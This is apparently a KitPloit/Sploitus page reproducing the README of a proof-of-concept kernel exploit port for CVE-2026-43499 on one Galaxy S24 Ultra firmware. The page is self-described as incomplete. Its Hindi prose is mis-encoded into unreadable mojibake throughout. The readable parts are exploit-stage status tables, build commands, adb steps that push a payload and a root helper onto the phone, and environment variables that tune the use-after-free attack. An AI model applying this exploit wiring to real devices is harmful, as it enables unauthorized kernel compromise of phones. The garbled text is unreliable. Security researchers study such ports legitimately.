## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FUSIONDRIVE-CVE-2026-43499-S24U
# Galaxy S24 Ultra (SM-S928U1) рдХреЗ рд▓рд┐рдП CVE-2026-43499 PoC
рдЕрдореЗрд░рд┐рдХреА Samsung Galaxy S24 Ultra рдХреЗ рд▓рд┐рдП CVE-2026-43499 рдХрд╛ рдбрд┐рд╡рд╛рдЗрд╕-рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░рд┐рд╕рд░реНрдЪ рдкреЛрд░реНрдЯ, рдлрд░реНрдорд╡реЗрдпрд░ **S928USQS6DZF2** (рдРрдк-рдбреЛрдореЗрди / рдкреНрд░реЛрдбрдХреНрд╢рди рдкрд╛рде) рдкрд░ рдЖрдзрд╛рд░рд┐рддред
рдпрд╣ рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА CVE-2026-43499-S25U рдХрд╛ S24U рд╕рдордХрдХреНрд╖ рд╣реИред рдпрд╣ **рд╡рд░реНрддрдорд╛рди рдЕрдкреВрд░реНрдг** рдкреНрд░рдЧрддрд┐ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ: рдХрдВрдЯреНрд░реЛрд▓ рдкреНрд▓реЗрди рдФрд░ рд░реЗрд╕рд┐рдбреНрдпреБрдЕрд▓ рд╕реНрдЯреИрдХ UAF рдЖрд░реНрдорд┐рдВрдЧ рдореМрдЬреВрдж рд╣реИрдВ; рдПрдХ рд╕рд╛рдл рдЧреЗрдЯ рд░рд╛рдЗрдЯ (`hits>0`) **рдЕрднреА рддрдХ** рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рд╣реБрдЖ рд╣реИред
## рд╕рдорд░реНрдерд┐рдд рдЯрд╛рд░рдЧреЗрдЯ
root@kitploit:~
Model: SM-S928U1
Codename: e3q
Android: 14 / BP4A.251205.006 (display family)
Build / AP: S928U1UES6DZF2 / S928USQS6DZF2
Fingerprint: samsung/e3qsqw/e3q:14/UP1A.231005.007/S928USQS6DZF2:user/release-keys
Kernel: 6.1.145-android14-11-33419968-abS928USQS6DZF2
Architecture: arm64 / 4K pages
рдСрдлрд╕реЗрдЯ рдФрд░ рд▓реЗрдЖрдЙрдЯ рдХреЗрд╡рд▓ рдЗрд╕реА рдлрд░реНрдорд╡реЗрдпрд░ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВред рдмрд┐рдирд╛ рд╕рдмреВрдд рдХреЗ рдмрд┐рд▓реНрдбреЛрдВ рдХреЗ рдмреАрдЪ рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рди рдХрд░реЗрдВред
## рд╕реНрдерд┐рддрд┐ (рдИрдорд╛рдирджрд╛рд░)
рдЪрд░рдг| рд╕реНрдерд┐рддрд┐
---|---
KernelSnitch mm рд▓реАрдХ / рдкреЗрдЬ рддреИрдпрд╛рд░реА| рдкреНрд░реЛрдбрдХреНрд╢рди рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
рдмреИрдВрдХ рд░рд┐рдХреНрд▓реЗрдо + MSG_PEEK (owner=1)| рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
рдХреНрд▓рд╛рд╕рд┐рдХ EDEADLK рд░реЗрд╕рд┐рдбреНрдпреБрдЕрд▓ рд╕реНрдЯреИрдХ UAF рдЖрд░реНрдо| рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
рд╕реНрдЯреИрдХ рдкреНрд▓рд╛рдВрдЯ (nfds тЙд 320, рд░реЗрд╕рд┐рдбреНрдпреБрдЕрд▓ рдмреЗрд╕ рд╢рд┐рдлреНрдЯ=2)| рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
рдЕрд░реНрд▓реА-рдПрдЧреНрдЬрд╝рд┐рдЯ @ рдкреНрд░рд╛рдпреЛ **120** рд╕реЗ рдорд┐рд▓рд╛рди (139 рдирд╣реАрдВ)| рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
рдЕрд░реНрд▓реА-рдПрдЧреНрдЬрд╝рд┐рдЯ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рд╕реЙрдлреНрдЯ рд░рд╛рдЗрдЯ рдЬреНрдпреЛрдореЗрдЯреНрд░реА| рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдкреНрд▓рд╛рдВрдЯ рд╣реБрдЖ; рдХреЛрдИ рд╡реЙрдХ рдирд╣реАрдВ
REPLANT + `walk_nice` рдлреЛрд░реНрд╕реНрдб `adjust_pi` рд╡реЙрдХ| **рд╕рд╛рдмрд┐рдд рд╣реБрдЖ; рдЕрдм рддрдХ рд╣рдореЗрд╢рд╛ KP**
рдЧреЗрдЯ рдСрд░реЗрдХрд▓ `hits>0`| **рдЦреБрд▓рд╛**
рдкрд╛рдЗрдк phys-rw / Android рд░реВрдЯ / KernelSU| **рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рд╣реБрдЖ**
**рдмреНрд▓реЙрдХрд░:** рд╡реЙрдХ-рд╕реЗрдл рд░реЗрд╕рд┐рдбреНрдпреБрдЕрд▓ рдЬреНрдпреЛрдореЗрдЯреНрд░реАред рдЕрд╕рд▓реА `RB_EMPTY` рдкреНрд▓рд╛рдВрдЯ рдХреЗ рд▓рд┐рдП рд░реЗрд╕рд┐рдбреНрдпреБрдЕрд▓ рдХрд░реНрдиреЗрд▓ VA (`APP_STAMP_RESIDUAL_ADDR` / `APP_STAMP_OVERLAY_BASE`) рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдлреЛрд░реНрдЬреНрдб рдЯреНрд░реА рдФрд░ KEEP рдУрд╡рд░рд▓реЗ (рдЬреЛ `FD_ZERO` рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЬрд╝реАрд░реЛ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ) рдлреЛрд░реНрд╕реНрдб рд╡реЙрдХ рдкрд░ рдкреИрдирд┐рдХ рдХрд░рддреЗ рд╣реИрдВред рджреЗрдЦреЗрдВ docs/PROGRESS.mdред
## рд╕рдВрджрд░реНрдн
* IonStack / CVE-2026-43499 рд╡рдВрд╢рд╛рд╡рд▓реА (NebuSec CyberMeowfia рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рдкреЛрд░реНрдЯ)
* S25U рд╕реНрдЯреИрдВрдбрдЕрд▓реЛрди PoC: BuSung-dev/CVE-2026-43499-S25U
* рдРрдк-рдбреЛрдореЗрди рд╡рд╛рдпрд░рд┐рдВрдЧ Root-My-Galaxy-Payloads рд░рд┐рд╕рд░реНрдЪ рдмреНрд░рд╛рдВрдЪ `agent/s928u-bp4a-251205-006` (E3Q DZF2) рд╕реЗ рд╡реНрдпреБрддреНрдкрдиреНрди
Apache License 2.0: LICENSEред
## рдЗрд╕ рдкреЛрд░реНрдЯ рдореЗрдВ рдХреНрдпрд╛ рд╣реИ
* рдЯрд╛рд░рдЧреЗрдЯ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ `e3q-S928USQS6DZF2` (DZF2 рдХреЗ рд▓рд┐рдП рдлрд┐рдЬрд┐рдХрд▓ P0 рдСрд░реЗрдХрд▓, рдмреИрдВрдХ рд▓реЗрдЖрдЙрдЯ, рдкрд╛рдЗрдк рдЬреНрдпреЛрдореЗрдЯреНрд░реА)ред
* **рдРрдк-рдбреЛрдореЗрди** рдкреЗрд▓реЛрдб (`cve-2026-43499-app.so`) рдЬрд┐рд╕рдореЗрдВ `slide_app.c` рд╢рд╛рдорд┐рд▓ рд╣реИ: рд░реЗрд╕рд┐рдбреНрдпреБрдЕрд▓ рд╕реНрдЯреИрдореНрдк рдкреНрд▓рд╛рдВрдЯ, soft_match, REPLANT рд╡реЙрдХ, walk_nice, NO_PLANT, EMPTY рдкреНрд▓рд╛рдВрдЯ рд╣реБрдХ, рдмреИрдВрдХ рдкреАрдХ, рдбреНрд░реЗрди рд╡рд╛рдпрд░рд┐рдВрдЧред
* `O_APPEND` рд▓реЙрдЧ рдУрдкрди рдХреЗ рд╕рд╛рде рд░реВрдЯ рд╣реЗрд▓реНрдкрд░ (рдкреИрд░реЗрдВрдЯ/рдЪрд╛рдЗрд▓реНрдб рд▓реЙрдЧ рдХреНрд▓реЙрдмрд░ рд╕реЗ рдмрдЪрд╛рддрд╛ рд╣реИ)ред
* рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕реНрдЯреИрдВрдбрдЕрд▓реЛрди рдкреНрд░реАрд▓реЛрдб рдмрд╛рдЗрдирд░реА (tracefs рдкрд╛рде; рдкреНрд░рд╛рдердорд┐рдХ S24U рдРрдк рд░рд┐рд╕рд░реНрдЪ рдкрд╛рде рдирд╣реАрдВ)ред
## рдмрд┐рд▓реНрдб
root@kitploit:~
export ANDROID_NDK_HOME=/path/to/ndk # e.g. r28 / API 34 clang
make -j$(nproc)
# or:
make app API=34
рдЖрдЙрдЯрдкреБрдЯ:
root@kitploit:~
build/e3q-S928USQS6DZF2/cve-2026-43499-app.so
build/e3q-S928USQS6DZF2/cve-2026-43499-root
build/e3q-S928USQS6DZF2/cve-2026-43499 # optional standalone
## рдбрд┐рдкреНрд▓реЙрдп (рдРрдк-рдбреЛрдореЗрди рд░рд┐рд╕рд░реНрдЪ)
рд╡рд┐рдВрдбреЛрдЬрд╝ ADB (рдпрд╛ рд╣реЛрд╕реНрдЯ adb) рд╕реАрд░рд┐рдпрд▓ `R5CXB20H9FD` (рдЙрджрд╛рд╣рд░рдг рд░рд┐рд╕рд░реНрдЪ рдпреВрдирд┐рдЯ) рдХреЗ рд╡рд┐рд░реБрджреНрдз:
root@kitploit:~
# Prefer the rebuilt helper (O_APPEND logs), not only the APK copy.
adb push build/e3q-S928USQS6DZF2/cve-2026-43499-app.so /data/local/tmp/
adb push build/e3q-S928USQS6DZF2/cve-2026-43499-root /data/local/tmp/
adb shell "run-as dev.busung.s25uroot sh -c '
mkdir -p files/payload-overrides/e3q-S928USQS6DZF2
cp /data/local/tmp/cve-2026-43499-app.so \
files/payload-overrides/e3q-S928USQS6DZF2/
cp /data/local/tmp/cve-2026-43499-root files/
chmod 700 files/cve-2026-43499-root \
files/payload-overrides/e3q-S928USQS6DZF2/cve-2026-43499-app.so
'"
### рд╕реБрд░рдХреНрд╖рд┐рдд рдмреЗрд╕рд▓рд╛рдЗрди (рдмрдЪ рдЬрд╛рддрд╛ рд╣реИ; hits=0)
root@kitploit:~
export APP_STACK_UAF_STAMP=1
export APP_STAMP_PLANT=soft
export APP_STAMP_SOFT_MATCH=1
export APP_STAMP_FIXED_SHIFT=2
export APP_BANK_VALID_ROOT=1
export APP_STAMP_STATUS_PATH=/data/user/0/dev.busung.s25uroot/files/stamp_status_last.txt
# run via helper --run-payload ... (see docs/PROGRESS.md)
### рдлреЛрд░реНрд╕реНрдб рд╡реЙрдХ (рдХреЗрд╡рд▓ рд░рд┐рд╕рд░реНрдЪ; рд╡рд░реНрддрдорд╛рди рдореЗрдВ KP)
root@kitploit:~
# After soft_match plant: change residual prio then force task nice change.
export APP_STAMP_REPLANT_WALK=1
export APP_STAMP_WALK_PRIO=100
export APP_STAMP_WALK_NICE=18 # must differ from first nice (default 19)
# Prefer EMPTY bank for some paths; still KP without residual kVA EMPTY plant
рдкреНрд▓рд╛рдВрдЯ рд╢рд┐рдлреНрдЯ 0тАУ4 рдХреЛ рджреЛрдмрд╛рд░рд╛ рд╕реНрдХреИрди **рди рдХрд░реЗрдВ** ; рдмреЗрд╕ **2** рд╕реНрдерд╛рдкрд┐рдд рд╣реИред
## рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг
рджрд╕реНрддрд╛рд╡реЗрдЬрд╝| рд╕рд╛рдордЧреНрд░реА
---|---
docs/PROGRESS.md| рдорд╛рдЗрд▓рд╕реНрдЯреЛрди рдореИрдЯреНрд░рд┐рдХреНрд╕, OBS/SRC рджрд╛рд╡реЗ, рд░реБрдХрдиреЗ рдХрд╛ рдмрд┐рдВрджреБ
docs/ENV_REFERENCE.md
## рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдХрд╛рдиреВрдиреА
рдХреЗрд╡рд▓ рдЙрдиреНрд╣реАрдВ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рдЖрдк рдорд╛рд▓рд┐рдХ рд╣реИрдВ рдпрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдзрд┐рдХреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЯреНрд░реА рдПрдХ рд▓реЙрдХреНрдб рдкреНрд░реЛрдбрдХреНрд╢рди рдлреЛрди рдкрд╛рде рдХреЗ рд▓рд┐рдП рд░рд┐рд╕рд░реНрдЪ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рд╣реИ; рдпрд╣ рдХреЛрдИ рддреИрдпрд╛рд░ рд░реВрдЯ рдпрд╛ KernelSU рдЗрдВрд╕реНрдЯреЙрд▓рд░ **рдирд╣реАрдВ** рд╣реИред
## KernelSU
KernelSU рдПрдХреАрдХрд░рдг **рддрдм рддрдХ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рд╣реИ рдЬрдм рддрдХ** рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкрд╛рдЗрдк/рдлрд┐рдЬрд┐рдХрд▓ рд░рд╛рдЗрдЯ рдФрд░ рд░реВрдЯ рдкрд╛рде рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реЛрддреЗред рдЗрд╕ рд░реЗрдкреЛ рдХреЛ KSU-рд░реЗрдбреА рди рдорд╛рдиреЗрдВред